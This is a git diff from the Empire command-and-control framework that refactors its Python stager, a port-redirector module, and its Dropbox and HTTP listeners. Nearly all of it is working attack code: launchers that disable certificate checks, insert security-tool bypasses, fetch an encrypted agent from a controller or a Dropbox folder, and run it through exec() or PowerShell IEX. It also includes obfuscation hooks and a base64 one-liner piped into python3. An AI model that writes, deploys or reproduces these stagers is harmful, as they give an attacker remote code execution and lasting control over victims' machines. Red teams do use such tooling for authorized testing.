- headers[headerKey] = headerValue
- except:
- pass
-
-# stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server
-clientPub=DiffieHellman()
-public_key = str(clientPub.publicKey).encode('UTF-8')
-hmacData=aes_encrypt_then_hmac(stagingKey,public_key)
-
-# RC4 routing packet:
-# meta = STAGE1 (2)
-routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=2, encData=hmacData)
-
-#try:
-#postURI = server + "{{ stage_1 | default('/index.jsp', true) | ensureleadingslash }}"
-# response = post_message(postURI, routingPacket+hmacData)
-b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8')
-send_queue.Enqueue("2" + b64routingPacket)
-
-while receive_queue.Count == 0:
- time.sleep(1)
-
-data = receive_queue.Peek()
-print(data)
-response = base64.b64decode(data)
-receive_queue.Dequeue()
-print(response)
-
-# decrypt the server's public key and the server nonce
-packet = aes_decrypt_and_verify(stagingKey, response)
-nonce = packet[0:16]
-serverPub = int(packet[16:])
-
-# calculate the shared secret
-clientPub.genKey(serverPub)
-key = clientPub.key
-
-
-# step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo)
-hmacData = aes_encrypt_then_hmac(key, get_sysinfo(nonce=str(int(nonce)+1)).encode('UTF-8'))
-
-# RC4 routing packet:
-# sessionID = sessionID
-# language = PYTHON (2)
-# meta = STAGE2 (3)
-# extra = 0
-# length = len(length)
-routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=3, encData=hmacData)
-b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8')
-send_queue.Enqueue("2" + b64routingPacket)
-
-while receive_queue.Count == 0:
- time.sleep(1)
-
-data = receive_queue.Peek()
-response = base64.b64decode(data)
-receive_queue.Dequeue()
-
-# step 6 -> server sends HMAC(AES)
-agent = aes_decrypt_and_verify(key, response)
-agent = agent.replace('{{ working_hours }}', WorkingHours)
-agent = agent.replace('{{ kill_date }}', KillDate)
-
-exec(agent)
+class Stage:
+ def __init__(self):
+ self.staging_key = b'{{ staging_key }}'
+ self.profile = '{{ profile }}'
+ self.server = '{{ host }}'
+ self.kill_date = '{{ kill_date }}'
+ self.working_hours = '{{ working_hours }}'
+
+ if self.server.startswith("https"):
+ hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None
+
+ self.session_id = self.generate_session_id()
+ self.key = None
+ self.headers = self.initialize_headers(self.profile)
+ self.packet_handler = ExtendedPacketHandler(None, staging_key=self.staging_key, session_id=self.session_id, headers=self.headers, server=self.server, taskURIs=self.taskURIs)
+
+ @staticmethod
+ def generate_session_id():
+ return b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8))
+
+ def initialize_headers(self, profile):
+ parts = profile.split('|')
+ self.taskURIs = parts[0].split(',')
+ userAgent = parts[1]
+ headersRaw = parts[2:]
+ headers = {'User-Agent': userAgent}
+ for headerRaw in headersRaw:
+ try:
+ headerKey, headerValue = headerRaw.split(":")
+ headers[headerKey] = headerValue
+ except Exception:
+ pass
+ return headers
+
+ def execute(self):
+ # Diffie-Hellman Key Exchange
+ client_pub = DiffieHellman()
+ public_key = str(client_pub.publicKey).encode('UTF-8')
+ hmac_data = aes_encrypt_then_hmac(self.staging_key, public_key)
+
+ # Build and Send Routing Packet
+
+ routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=2, enc_data=hmac_data)
+ b64routing_packet = base64.b64encode(routing_packet).decode('UTF-8')
+ self.packet_handler.send_queue.Enqueue("2" + b64routing_packet)
+
+ while self.packet_handler.receive_queue.Count == 0:
+ time.sleep(1)
+
+ data = self.packet_handler.receive_queue.Peek()
+ response = base64.b64decode(data)
+ self.packet_handler.receive_queue.Dequeue()
+
+ # Decrypt Server Response
+ packet = aes_decrypt_and_verify(self.staging_key, response)
+ nonce, server_pub = packet[0:16], int(packet[16:])
+
+ # Generate Shared Secret
+ client_pub.genKey(server_pub)
+ self.key = client_pub.key
+ self.packet_handler.key = self.key
+
+ # Send System Info
+ hmac_data = aes_encrypt_then_hmac(self.key, get_sysinfo(nonce=str(int(nonce) + 1)).encode('UTF-8'))
+ routing_packet = self.packet_handler.build_routing_packet(staging_key=self.staging_key, session_id=self.session_id, meta=3, enc_data=hmac_data)
+
+ b64routing_packet = base64.b64encode(routing_packet).decode('UTF-8')
+ self.packet_handler.send_queue.Enqueue("2" + b64routing_packet)
+
+ while self.packet_handler.receive_queue.Count == 0:
+ time.sleep(1)
+
+ data = self.packet_handler.receive_queue.Peek()
+ response = base64.b64decode(data)
+ self.packet_handler.receive_queue.Dequeue()
+
+ # Decrypt and Execute Agent
+ agent_code = aes_decrypt_and_verify(self.key, response)
+ exec(agent_code, globals())
+ agent = MainAgent(packet_handler=self.packet_handler, profile=self.profile, server=self.server, session_id=self.session_id, kill_date=self.kill_date, working_hours=self.working_hours)
+ self.packet_handler.agent = agent
+ agent.run()
+
+# Initialize and Execute Agent
+stage = Stage()
+stage.execute()
diff --git a/empire/server/data/misc/inactive_modules/redirector.py b/empire/server/data/misc/inactive_modules/redirector.py
index c5182e48c..d784d38c9 100644
--- a/empire/server/data/misc/inactive_modules/redirector.py
+++ b/empire/server/data/misc/inactive_modules/redirector.py
@@ -23,15 +23,15 @@ def __init__(self, mainMenu):
'Background' : False,
'OutputExtension' : None,
-
+
'NeedsAdmin' : True,
'OpsecSafe' : True,
-
+
'Language' : 'powershell',
'MinLanguageVersion' : '2',
-
+
'Comments': []
}
@@ -81,7 +81,7 @@ def __init__(self, mainMenu):
self.mainMenu = mainMenu
def generate(self, obfuscate=False, obfuscation_command=""):
-
+
script = """
function Invoke-Redirector {
param($ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll)
@@ -111,7 +111,7 @@ def generate(self, obfuscate=False, obfuscation_command=""):
else{
$ConnectAddress = ""
$ConnectPort = ""
-
+
$parts = $ConnectHost -split(":")
if($parts.Length -eq 2){
# if the form is http[s]://HOST or HOST:PORT
@@ -135,7 +135,7 @@ def generate(self, obfuscate=False, obfuscation_command=""):
$ConnectPort = $parts[2]
}
if($ConnectPort -ne ""){
-
+
$out = netsh interface portproxy add v4tov4 listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp
if($out){
$out
@@ -151,14 +151,14 @@ def generate(self, obfuscate=False, obfuscation_command=""):
}
}
Invoke-Redirector"""
-
+
addAsListener = False
listenerName = False
for option,values in self.options.items():
if option.lower() == "listener" and values['Value'] != '':
# extract out all options from a listener if one is set
- if not self.mainMenu.listeners.is_listener_valid(values['Value']):
+ if not self.mainMenu.listenersv2.get_active_listener_by_name(values['Value']):
print(helpers.color("[!] Invalid listener set"))
return ""
else:
@@ -178,7 +178,7 @@ def generate(self, obfuscate=False, obfuscation_command=""):
# if we're just adding a switch
script += " -" + str(option)
else:
- script += " -" + str(option) + " " + str(values['Value'])
+ script += " -" + str(option) + " " + str(values['Value'])
if addAsListener:
if listenerName:
# if we're add this as a pivot listener
diff --git a/empire/server/listeners/dbx.py b/empire/server/listeners/dbx.py
index b2921b8e8..9983b0716 100755
--- a/empire/server/listeners/dbx.py
+++ b/empire/server/listeners/dbx.py
@@ -4,7 +4,6 @@
import os
import time
from textwrap import dedent
-from typing import List, Optional, Tuple
import dropbox
@@ -126,7 +125,7 @@ def __init__(self, mainMenu: MainMenu):
# required:
self.mainMenu = mainMenu
- self.threads = {}
+ self.thread = None
# optional/specific for this module
@@ -143,7 +142,7 @@ def default_response(self):
"""
return ""
- def validate_options(self) -> Tuple[bool, Optional[str]]:
+ def validate_options(self) -> tuple[bool, str | None]:
"""
Validate all options for this listener.
"""
@@ -173,7 +172,7 @@ def generate_launcher(
language=None,
safeChecks="",
listenerName=None,
- bypasses: List[str] = None,
+ bypasses: list[str] = None,
):
"""
Generate a basic launcher for the specified listener.
@@ -184,203 +183,195 @@ def generate_launcher(
log.error("listeners/dbx generate_launcher(): no language specified!")
return None
- # Previously, we had to do a lookup for the listener and check through threads on the instance.
- # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
- # further, but for now keeping as is since 5.0 has enough rewrites as it is.
- if (
- True
- ): # The true check is just here to keep the indentation consistent with the old code.
- active_listener = self
- # extract the set options for this instantiated listener
- listenerOptions = active_listener.options
-
- # host = listenerOptions['Host']['Value']
- staging_key = listenerOptions["StagingKey"]["Value"]
- profile = listenerOptions["DefaultProfile"]["Value"]
- launcher = listenerOptions["Launcher"]["Value"]
- api_token = listenerOptions["APIToken"]["Value"]
- baseFolder = listenerOptions["BaseFolder"]["Value"].strip("/")
- staging_folder = "/{}/{}".format(
- baseFolder,
- listenerOptions["StagingFolder"]["Value"].strip("/"),
- )
+ active_listener = self
+ # extract the set options for this instantiated listener
+ listenerOptions = active_listener.options
- if language.startswith("po"):
- # PowerShell
+ # host = listenerOptions['Host']['Value']
+ staging_key = listenerOptions["StagingKey"]["Value"]
+ profile = listenerOptions["DefaultProfile"]["Value"]
+ launcher = listenerOptions["Launcher"]["Value"]
+ api_token = listenerOptions["APIToken"]["Value"]
+ baseFolder = listenerOptions["BaseFolder"]["Value"].strip("/")
+ staging_folder = "/{}/{}".format(
+ baseFolder,
+ listenerOptions["StagingFolder"]["Value"].strip("/"),
+ )
- # replace with stager = '' for troubleshooting
- stager = '$ErrorActionPreference = "SilentlyContinue";'
- if safeChecks.lower() == "true":
- stager = "If($PSVersionTable.PSVersion.Major -ge 3){"
-
- for bypass in bypasses:
- stager += bypass
- stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;"
-
- stager += "$wc=New-Object System.Net.WebClient;"
-
- if userAgent.lower() == "default":
- profile = listenerOptions["DefaultProfile"]["Value"]
- userAgent = profile.split("|")[1]
- stager += f"$u='{ userAgent }';"
-
- if userAgent.lower() != "none" or proxy.lower() != "none":
- if userAgent.lower() != "none":
- stager += "$wc.Headers.Add('User-Agent',$u);"
-
- if proxy.lower() != "none":
- if proxy.lower() == "default":
- stager += (
- "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
- )
-
- else:
- # TODO: implement form for other proxy
- stager += f"""
- $proxy=New-Object Net.WebProxy;
- $proxy.Address = '{ proxy.lower() }';
- $wc.Proxy = $proxy;
- """
-
- if proxyCreds.lower() == "default":
- stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
-
- else:
- # TODO: implement form for other proxy credentials
- username = proxyCreds.split(":")[0]
- password = proxyCreds.split(":")[1]
- domain = username.split("\\")[0]
- usr = username.split("\\")[1]
- stager += f"""
- $netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');
- $wc.Proxy.Credentials = $netcred;
- """
-
- # save the proxy settings to use during the entire staging process and the agent
- stager += "$Script:Proxy = $wc.Proxy;"
-
- # TODO: reimplement stager retries?
-
- # code to turn the key string into a byte array
- stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{staging_key}');"
-
- # this is the minimized RC4 stager code from rc4.ps1
- stager += listener_util.powershell_rc4()
-
- stager += dedent(
- f"""
- # add in the Dropbox auth token and API params
- $t='{ api_token }';
- $wc.Headers.Add("Authorization","Bearer $t");
- $wc.Headers.Add("Dropbox-API-Arg",\'{{"path":"{ staging_folder }/debugps"}}\');
- $data=$wc.DownloadData('https://content.dropboxapi.com/2/files/download');
- $iv=$data[0..3];$data=$data[4..$data.length];
-
- # decode everything and kick it over to IEX to kick off execution
- -join[Char[]](& $R $data ($IV+$K))|IEX
- """
- )
+ if language.startswith("po"):
+ # PowerShell
- # Remove comments and make one line
- stager = helpers.strip_powershell_comments(stager)
- stager = data_util.ps_convert_to_oneliner(stager)
+ # replace with stager = '' for troubleshooting
+ stager = '$ErrorActionPreference = "SilentlyContinue";'
+ if safeChecks.lower() == "true":
+ stager = "If($PSVersionTable.PSVersion.Major -ge 3){"
- if obfuscate:
- stager = self.mainMenu.obfuscationv2.obfuscate(
- stager,
- obfuscation_command=obfuscation_command,
- )
- stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
+ for bypass in bypasses:
+ stager += bypass
+ stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;"
- # base64 encode the stager and return it
- if encode and (
- (not obfuscate) or ("launcher" not in obfuscation_command.lower())
- ):
- return helpers.powershell_launcher(stager, launcher)
- else:
- # otherwise return the case-randomized stager
- return stager
+ stager += "$wc=New-Object System.Net.WebClient;"
- elif language.startswith("py"):
- launcherBase = "import sys;"
- # monkey patch ssl woohooo
- launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;"
+ if userAgent.lower() == "default":
+ profile = listenerOptions["DefaultProfile"]["Value"]
+ userAgent = profile.split("|")[1]
+ stager += f"$u='{ userAgent }';"
- try:
- if safeChecks.lower() == "true":
- launcherBase += listener_util.python_safe_checks()
- except Exception as e:
- p = f"Error setting LittleSnitch in stager: {str(e)}"
- log.error(p)
-
- if userAgent.lower() == "default":
- profile = listenerOptions["DefaultProfile"]["Value"]
- userAgent = profile.split("|")[1]
-
- launcherBase += dedent(
- f"""
- import urllib.request;
- UA='{ userAgent }';
- t='{ api_token }';
- server='https://content.dropboxapi.com/2/files/download';
- req=urllib.request.Request(server);
- req.add_header('User-Agent',UA);
- req.add_header("Authorization","Bearer "+t);
- req.add_header("Dropbox-API-Arg",'{{"path":"{ staging_folder }/debugpy"}}');
- """
- )
+ if userAgent.lower() != "none" or proxy.lower() != "none":
+ if userAgent.lower() != "none":
+ stager += "$wc.Headers.Add('User-Agent',$u);"
if proxy.lower() != "none":
if proxy.lower() == "default":
- launcherBase += "proxy = urllib.request.ProxyHandler();\n"
+ stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
+
else:
- proto = proxy.Split(":")[0]
- launcherBase += f"proxy = urllib.request.ProxyHandler({{'{proto}':'{proxy}'}});\n"
-
- if proxyCreds != "none":
- if proxyCreds == "default":
- launcherBase += "o = urllib.request.build_opener(proxy);\n"
- else:
- launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n"
- username = proxyCreds.split(":")[0]
- password = proxyCreds.split(":")[1]
- launcherBase += dedent(
- f"""
- proxy_auth_handler.add_password(None,'{ proxy }', '{ username }', '{ password }');
- o = urllib.request.build_opener(proxy, proxy_auth_handler);
- """
- )
+ # TODO: implement form for other proxy
+ stager += f"""
+ $proxy=New-Object Net.WebProxy;
+ $proxy.Address = '{ proxy.lower() }';
+ $wc.Proxy = $proxy;
+ """
+
+ if proxyCreds.lower() == "default":
+ stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
+
else:
+ # TODO: implement form for other proxy credentials
+ username = proxyCreds.split(":")[0]
+ password = proxyCreds.split(":")[1]
+ domain = username.split("\\")[0]
+ usr = username.split("\\")[1]
+ stager += f"""
+ $netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');
+ $wc.Proxy.Credentials = $netcred;
+ """
+
+ # save the proxy settings to use during the entire staging process and the agent
+ stager += "$Script:Proxy = $wc.Proxy;"
+
+ # TODO: reimplement stager retries?
+
+ # code to turn the key string into a byte array
+ stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{staging_key}');"
+
+ # this is the minimized RC4 stager code from rc4.ps1
+ stager += listener_util.powershell_rc4()
+
+ stager += dedent(
+ f"""
+ # add in the Dropbox auth token and API params
+ $t='{ api_token }';
+ $wc.Headers.Add("Authorization","Bearer $t");
+ $wc.Headers.Add("Dropbox-API-Arg",\'{{"path":"{ staging_folder }/debugps"}}\');
+ $data=$wc.DownloadData('https://content.dropboxapi.com/2/files/download');
+ $iv=$data[0..3];$data=$data[4..$data.length];
+
+ # decode everything and kick it over to IEX to kick off execution
+ -join[Char[]](& $R $data ($IV+$K))|IEX
+ """
+ )
+
+ # Remove comments and make one line
+ stager = helpers.strip_powershell_comments(stager)
+ stager = data_util.ps_convert_to_oneliner(stager)
+
+ if obfuscate:
+ stager = self.mainMenu.obfuscationv2.obfuscate(
+ stager,
+ obfuscation_command=obfuscation_command,
+ )
+ stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
+
+ # base64 encode the stager and return it
+ if encode and (
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
+ ):
+ return helpers.powershell_launcher(stager, launcher)
+ else:
+ # otherwise return the case-randomized stager
+ return stager
+
+ elif language.startswith("py"):
+ launcherBase = "import sys;"
+ # monkey patch ssl woohooo
+ launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;"
+
+ try:
+ if safeChecks.lower() == "true":
+ launcherBase += listener_util.python_safe_checks()
+ except Exception as e:
+ p = f"Error setting LittleSnitch in stager: {str(e)}"
+ log.error(p)
+
+ if userAgent.lower() == "default":
+ profile = listenerOptions["DefaultProfile"]["Value"]
+ userAgent = profile.split("|")[1]
+
+ launcherBase += dedent(
+ f"""
+ import urllib.request;
+ UA='{ userAgent }';
+ t='{ api_token }';
+ server='https://content.dropboxapi.com/2/files/download';
+ req=urllib.request.Request(server);
+ req.add_header('User-Agent',UA);
+ req.add_header("Authorization","Bearer "+t);
+ req.add_header("Dropbox-API-Arg",'{{"path":"{ staging_folder }/debugpy"}}');
+ """
+ )
+
+ if proxy.lower() != "none":
+ if proxy.lower() == "default":
+ launcherBase += "proxy = urllib.request.ProxyHandler();\n"
+ else:
+ proto = proxy.Split(":")[0]
+ launcherBase += f"proxy = urllib.request.ProxyHandler({{'{proto}':'{proxy}'}});\n"
+
+ if proxyCreds != "none":
+ if proxyCreds == "default":
launcherBase += "o = urllib.request.build_opener(proxy);\n"
+ else:
+ launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n"
+ username = proxyCreds.split(":")[0]
+ password = proxyCreds.split(":")[1]
+ launcherBase += dedent(
+ f"""
+ proxy_auth_handler.add_password(None,'{ proxy }', '{ username }', '{ password }');
+ o = urllib.request.build_opener(proxy, proxy_auth_handler);
+ """
+ )
else:
- launcherBase += "o = urllib.request.build_opener();\n"
+ launcherBase += "o = urllib.request.build_opener(proxy);\n"
+ else:
+ launcherBase += "o = urllib.request.build_opener();\n"
- # install proxy and creds globally, so they can be used with urlopen.
- launcherBase += "urllib.request.install_opener(o);\n"
- launcherBase += "a=urllib.request.urlopen(req).read();\n"
+ # install proxy and creds globally, so they can be used with urlopen.
+ launcherBase += "urllib.request.install_opener(o);\n"
+ launcherBase += "a=urllib.request.urlopen(req).read();\n"
- # RC4 decryption
- launcherBase += listener_util.python_extract_stager(staging_key)
+ # RC4 decryption
+ launcherBase += listener_util.python_extract_stager(staging_key)
- if obfuscate:
- launcherBase = self.mainMenu.obfuscationv2.python_obfuscate(
- launcherBase
- )
- launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords(
- launcherBase
- )
+ if obfuscate:
+ launcherBase = self.mainMenu.obfuscationv2.python_obfuscate(
+ launcherBase
+ )
+ launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords(
+ launcherBase
+ )
- if encode:
- launchEncoded = base64.b64encode(
- launcherBase.encode("UTF-8")
- ).decode("UTF-8")
- launcher = (
- "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &"
- % (launchEncoded)
- )
- return launcher
- else:
- return launcherBase
+ if encode:
+ launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode(
+ "UTF-8"
+ )
+ launcher = (
+ "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &"
+ % (launchEncoded)
+ )
+ return launcher
+ else:
+ return launcherBase
def generate_stager(
self,
@@ -1025,40 +1016,23 @@ def delete_file(dbx, path):
stagingKey, responseData, listenerOptions
)
- def start(self, name=""):
+ def start(self):
"""
Start a threaded instance of self.start_server() and store it in the
- self.threads dictionary keyed by the listener name.
+ self.thread property.
"""
listenerOptions = self.options
- if name and name != "":
- self.threads[name] = helpers.KThread(
- target=self.start_server, args=(listenerOptions,)
- )
- self.threads[name].start()
- time.sleep(3)
- # returns True if the listener successfully started, false otherwise
- return self.threads[name].is_alive()
- else:
- name = listenerOptions["Name"]["Value"]
- self.threads[name] = helpers.KThread(
- target=self.start_server, args=(listenerOptions,)
- )
- self.threads[name].start()
- time.sleep(3)
- # returns True if the listener successfully started, false otherwise
- return self.threads[name].is_alive()
+ self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,))
+ self.thread.start()
+ time.sleep(3)
+ # returns True if the listener successfully started, false otherwise
+ return self.thread.is_alive()
- def shutdown(self, name=""):
+ def shutdown(self):
"""
- Terminates the server thread stored in the self.threads dictionary,
- keyed by the listener name.
+ Terminates the server thread stored in the self.thread property.
"""
- if name and name != "":
- to_kill = name
- else:
- to_kill = self.options["Name"]["Value"]
-
+ to_kill = self.options["Name"]["Value"]
self.instance_log.info(f"{to_kill}: shutting down...")
log.info(f"{to_kill}: shutting down...")
- self.threads[to_kill].kill()
+ self.thread.kill()
diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py
index 40d997d08..5d32f885a 100755
--- a/empire/server/listeners/http.py
+++ b/empire/server/listeners/http.py
@@ -7,7 +7,6 @@
import sys
import time
from textwrap import dedent
-from typing import List, Optional, Tuple
from flask import Flask, make_response, render_template, request, send_from_directory
from werkzeug.serving import WSGIRequestHandler
@@ -66,8 +65,8 @@ def __init__(self, mainMenu: MainMenu):
"Port": {
"Description": "Port for the listener.",
"Required": True,
- "Value": "",
- "SuggestedValues": ["1335", "1336"],
+ "Value": "80",
+ "SuggestedValues": ["80", "443"],
},
"Launcher": {
"Description": "Launcher string.",
@@ -159,7 +158,7 @@ def __init__(self, mainMenu: MainMenu):
# required:
self.mainMenu = mainMenu
- self.threads = {}
+ self.thread = None
# optional/specific for this module
self.app = None
@@ -188,7 +187,7 @@ def default_response(self):
"""
return open(f"{self.template_dir }/default.html").read()
- def validate_options(self) -> Tuple[bool, Optional[str]]:
+ def validate_options(self) -> tuple[bool, str | None]:
"""
Validate all options for this listener.
"""
@@ -221,7 +220,7 @@ def generate_launcher(
language=None,
safeChecks="",
listenerName=None,
- bypasses: List[str] = None,
+ bypasses: list[str] = None,
):
"""
Generate a basic launcher for the specified listener.
@@ -233,313 +232,298 @@ def generate_launcher(
)
return None
- # Previously, we had to do a lookup for the listener and check through threads on the instance.
- # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
- # further, but for now keeping as is since 5.0 has enough rewrites as it is.
- if (
- True
- ): # The true check is just here to keep the indentation consistent with the old code.
- active_listener = self
- # extract the set options for this instantiated listener
- listenerOptions = active_listener.options
- host = listenerOptions["Host"]["Value"]
- launcher = listenerOptions["Launcher"]["Value"]
- staging_key = listenerOptions["StagingKey"]["Value"]
- profile = listenerOptions["DefaultProfile"]["Value"]
- uris = [a for a in profile.split("|")[0].split(",")]
- stage0 = random.choice(uris)
- customHeaders = profile.split("|")[2:]
-
- cookie = listenerOptions["Cookie"]["Value"]
- # generate new cookie if the current session cookie is empty to avoid empty cookie if create multiple listeners
- if cookie == "":
- generate = listener_util.generate_cookie()
- listenerOptions["Cookie"]["Value"] = generate
- cookie = generate
-
- if language == "powershell":
- # PowerShell
- stager = '$ErrorActionPreference = "SilentlyContinue";'
+ active_listener = self
+ # extract the set options for this instantiated listener
+ listenerOptions = active_listener.options
+ host = listenerOptions["Host"]["Value"]
+ launcher = listenerOptions["Launcher"]["Value"]
+ staging_key = listenerOptions["StagingKey"]["Value"]
+ profile = listenerOptions["DefaultProfile"]["Value"]
+ uris = list(profile.split("|")[0].split(","))
+ stage0 = random.choice(uris)
+ customHeaders = profile.split("|")[2:]
- if safeChecks.lower() == "true":
- stager = "If($PSVersionTable.PSVersion.Major -ge 3){"
+ cookie = listenerOptions["Cookie"]["Value"]
+ # generate new cookie if the current session cookie is empty to avoid empty cookie if create multiple listeners
+ if cookie == "":
+ generate = listener_util.generate_cookie()
+ listenerOptions["Cookie"]["Value"] = generate
+ cookie = generate
- for bypass in bypasses:
- stager += bypass
+ if language == "powershell":
+ # PowerShell
+ stager = '$ErrorActionPreference = "SilentlyContinue";'
- if safeChecks.lower() == "true":
- stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;"
-
- stager += "$wc=New-Object System.Net.WebClient;"
- if userAgent.lower() == "default":
- profile = listenerOptions["DefaultProfile"]["Value"]
- userAgent = profile.split("|")[1]
- stager += f"$u='{ userAgent }';"
-
- if "https" in host:
- # allow for self-signed certificates for https connections
- stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
- stager += f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';"
-
- if userAgent.lower() != "none":
- stager += "$wc.Headers.Add('User-Agent',$u);"
-
- if proxy.lower() != "none":
- if proxy.lower() == "default":
- stager += (
- "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
- )
- else:
- # TODO: implement form for other proxy
- stager += f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');$wc.Proxy = $proxy;"
+ if safeChecks.lower() == "true":
+ stager = "If($PSVersionTable.PSVersion.Major -ge 3){"
- if proxyCreds.lower() != "none":
- if proxyCreds.lower() == "default":
- stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
+ for bypass in bypasses:
+ stager += bypass
- else:
- # TODO: implement form for other proxy credentials
- username = proxyCreds.split(":")[0]
- password = proxyCreds.split(":")[1]
- if len(username.split("\\")) > 1:
- usr = username.split("\\")[1]
- domain = username.split("\\")[0]
- stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');"
+ if safeChecks.lower() == "true":
+ stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;"
- else:
- usr = username.split("\\")[0]
- stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }');"
-
- stager += "$wc.Proxy.Credentials = $netcred;"
-
- # save the proxy settings to use during the entire staging process and the agent
- stager += "$Script:Proxy = $wc.Proxy;"
-
- # TODO: reimplement stager retries?
- # check if we're using IPv6
- listenerOptions = copy.deepcopy(listenerOptions)
- bindIP = listenerOptions["BindIP"]["Value"]
- port = listenerOptions["Port"]["Value"]
- if ":" in bindIP:
- if "http" in host:
- if "https" in host:
- host = (
- "https://" + "[" + str(bindIP) + "]" + ":" + str(port)
- )
- else:
- host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port)
+ stager += "$wc=New-Object System.Net.WebClient;"
+ if userAgent.lower() == "default":
+ profile = listenerOptions["DefaultProfile"]["Value"]
+ userAgent = profile.split("|")[1]
+ stager += f"$u='{ userAgent }';"
- # code to turn the key string into a byte array
- stager += (
- f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');"
- )
+ if "https" in host:
+ # allow for self-signed certificates for https connections
+ stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
+ stager += (
+ f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';"
+ )
- # this is the minimized RC4 stager code from rc4.ps1
- stager += listener_util.powershell_rc4()
-
- # prebuild the request routing packet for the launcher
- routingPacket = packets.build_routing_packet(
- staging_key,
- sessionID="00000000",
- language="POWERSHELL",
- meta="STAGE0",
- additional="None",
- encData="",
- )
- b64RoutingPacket = base64.b64encode(routingPacket)
-
- # Add custom headers if any
- if customHeaders != []:
- for header in customHeaders:
- headerKey = header.split(":")[0]
- headerValue = header.split(":")[1]
- # If host header defined, assume domain fronting is in use and add a call to the base URL first
- # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
- if headerKey.lower() == "host":
- stager += "try{$ig=$wc.DownloadData($ser)}catch{};"
- stager += (
- "$wc.Headers.Add("
- + f"'{headerKey}','"
- + headerValue
- + "');"
- )
+ if userAgent.lower() != "none":
+ stager += "$wc.Headers.Add('User-Agent',$u);"
- # add the RC4 packet to a cookie
- stager += f'$wc.Headers.Add("Cookie","{ cookie }={ b64RoutingPacket.decode("UTF-8") }");'
- stager += "$data=$wc.DownloadData($ser+$t);"
- stager += "$iv=$data[0..3];$data=$data[4..$data.length];"
+ if proxy.lower() != "none":
+ if proxy.lower() == "default":
+ stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
+ else:
+ # TODO: implement form for other proxy
+ stager += f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');$wc.Proxy = $proxy;"
- # decode everything and kick it over to IEX to kick off execution
- stager += "-join[Char[]](& $R $data ($IV+$K))|IEX"
+ if proxyCreds.lower() != "none":
+ if proxyCreds.lower() == "default":
+ stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
- # Remove comments and make one line
- stager = helpers.strip_powershell_comments(stager)
- stager = data_util.ps_convert_to_oneliner(stager)
+ else:
+ # TODO: implement form for other proxy credentials
+ username = proxyCreds.split(":")[0]
+ password = proxyCreds.split(":")[1]
+ if len(username.split("\\")) > 1:
+ usr = username.split("\\")[1]
+ domain = username.split("\\")[0]
+ stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');"
- if obfuscate:
- stager = self.mainMenu.obfuscationv2.obfuscate(
- stager,
- obfuscation_command=obfuscation_command,
- )
- stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
+ else:
+ usr = username.split("\\")[0]
+ stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }');"
+
+ stager += "$wc.Proxy.Credentials = $netcred;"
+
+ # save the proxy settings to use during the entire staging process and the agent
+ stager += "$Script:Proxy = $wc.Proxy;"
+
+ # TODO: reimplement stager retries?
+ # check if we're using IPv6
+ listenerOptions = copy.deepcopy(listenerOptions)
